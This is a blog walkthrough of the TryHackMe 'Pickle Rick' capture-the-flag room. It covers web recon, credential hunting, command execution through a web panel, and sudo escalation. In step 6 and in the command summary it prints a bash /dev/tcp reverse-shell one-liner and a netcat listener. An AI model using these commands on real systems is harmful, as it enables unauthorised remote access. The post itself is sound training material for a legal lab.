DEV Community

Shadrach Adongo
Shadrach Adongo

Posted on

TryHackMe Pickle Rick Walkthrough Easy Web + Command Injection Room

#tryhackme #cybersecurity #webhacking #ctf

🎯 Room Info

Room Pickle Rick
Difficulty 🟢 Easy
Category Web enumeration, command injection, Linux privesc
Link tryhackme.com/room/picklerick

📖 What This Room Is About

Pickle Rick is a Rick and Morty–themed CTF: Rick has turned himself into a pickle and needs your help finding three ingredients hidden across the box to turn himself back.

Under the fun theme, this room teaches a very real attack chain:

  1. 🌐 Recon a website (source code + hidden files)
  2. 🔑 Find leaked credentials
  3. 💻 Get command execution through a web app
  4. ⬆️ Escalate to root

It's a great follow-up to Bounty Hacker because the initial foothold comes from the web, not a leaky FTP server.

🧠 Skills You'll Practice

  • Web recon (viewing page source, robots.txt)
  • Directory brute-forcing with Gobuster
  • Login brute-forcing / credential hunting
  • Exploiting a web-based command execution panel
  • Basic Linux privilege escalation

🛠️ Step-by-Step Walkthrough

1️⃣ Scan the target 

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
Enter fullscreen mode Exit fullscreen mode

You'll find SSH (22) and HTTP (80) open. The web server is where this room lives, so head there first.

2️⃣ Check the page source and robots.txt

Open the site in a browser and view the page source (Ctrl+U). Rick and Morty–style comments in the HTML often hint at a username.

Then check the classic low-hanging fruit:

http://<TARGET_IP>/robots.txt
Enter fullscreen mode Exit fullscreen mode

This usually reveals a hidden path — something like /assets/ or a Rick-themed filename — worth visiting directly in the browser.

💡 Why this matters: robots.txt tells search engines what not to index — which often means it's telling you exactly where the interesting stuff is.

3️⃣ Brute-force for hidden directories/files 

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Enter fullscreen mode Exit fullscreen mode

This should surface a login page (commonly /login.php) and other useful paths.

4️⃣ Find the first ingredient / credentials

Combining what you found in robots.txt and page source, you should uncover:

  • A username (hinted at in HTML comments)
  • A password (often stored as a hidden text file discovered via directory brute-forcing)

Use those to log into the portal you found.

🥒 Click to reveal: hint for finding credentials

Look carefully at everything Gobuster returns — one of the discovered files is not a normal web page but a plain text file containing a password string. Pair it with the username found in the page source comments.

5️⃣ Get command execution

Once logged in, the portal exposes a command panel — a text box that lets Rick run shell commands (in-universe, for "portal gun diagnostics"). This is a command injection point.

Try basic commands first to confirm execution:

ls
whoami
Enter fullscreen mode Exit fullscreen mode

Then hunt for the first ingredient:

find / -iname "*ingredient*" 2>/dev/null
cat "Sup3rS3cretPickl3Ingred.txt"
Enter fullscreen mode Exit fullscreen mode

💡 Why this matters: any web feature that runs OS commands based on user input — even one dressed up as a "diagnostic tool" — is a command injection vulnerability. This exact pattern shows up constantly in real bug bounty reports.

6️⃣ Get a proper shell

The command panel is clunky for exploring the filesystem. Upgrade to a real reverse shell for a smoother experience:

# On your attack machine, start a listener:
nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode 
# Trigger through the web command panel:
bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'
Enter fullscreen mode Exit fullscreen mode

Once the shell connects back, stabilize it:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Enter fullscreen mode Exit fullscreen mode

7️⃣ Find the second ingredient

Explore the web user's home directory and common web app locations:

find / -iname "*ingredient*" 2>/dev/null
cat "second ingredients"
Enter fullscreen mode Exit fullscreen mode

8️⃣ Escalate to root

Check what the current user can run as root:

sudo -l
Enter fullscreen mode Exit fullscreen mode

In this room, the web-server user typically has full sudo rights ((ALL) NOPASSWD: ALL) — a serious misconfiguration that hands you root instantly:

sudo su
Enter fullscreen mode Exit fullscreen mode

or run any command directly with sudo.

9️⃣ Grab the final ingredient and the flag 

cd /root
ls
cat "third ingredients"
cat root.txt
Enter fullscreen mode Exit fullscreen mode

🚩 Click to reveal: root flag

Redacted — swap in your own captured flag if you want to keep a private record.

📋 Every Command, In Order 

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nc -lvnp 4444
bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'
python3 -c 'import pty; pty.spawn("/bin/bash")'
find / -iname "*ingredient*" 2>/dev/null
sudo -l
sudo su
Enter fullscreen mode Exit fullscreen mode

🎓 Key Takeaways

  • View-source and robots.txt are free wins. Always check both before running any automated tool — they cost nothing and often hand you a username or hidden path directly.
  • Any "run a command" feature in a web app is a red flag. Even when it's framed as a diagnostic or utility tool, if it executes OS commands from user input, it's a command injection vulnerability waiting to be reported.
  • (ALL) NOPASSWD: ALL in sudo -l means instant root. This misconfiguration is unfortunately common in real environments too — it's one of the first things a penetration tester checks.
  • Unstable shells are still useful — but stabilize them. The python3 -c 'import pty; pty.spawn("/bin/bash")' trick is one of the most-used one-liners in real engagements, not just CTFs.

Top comments (0)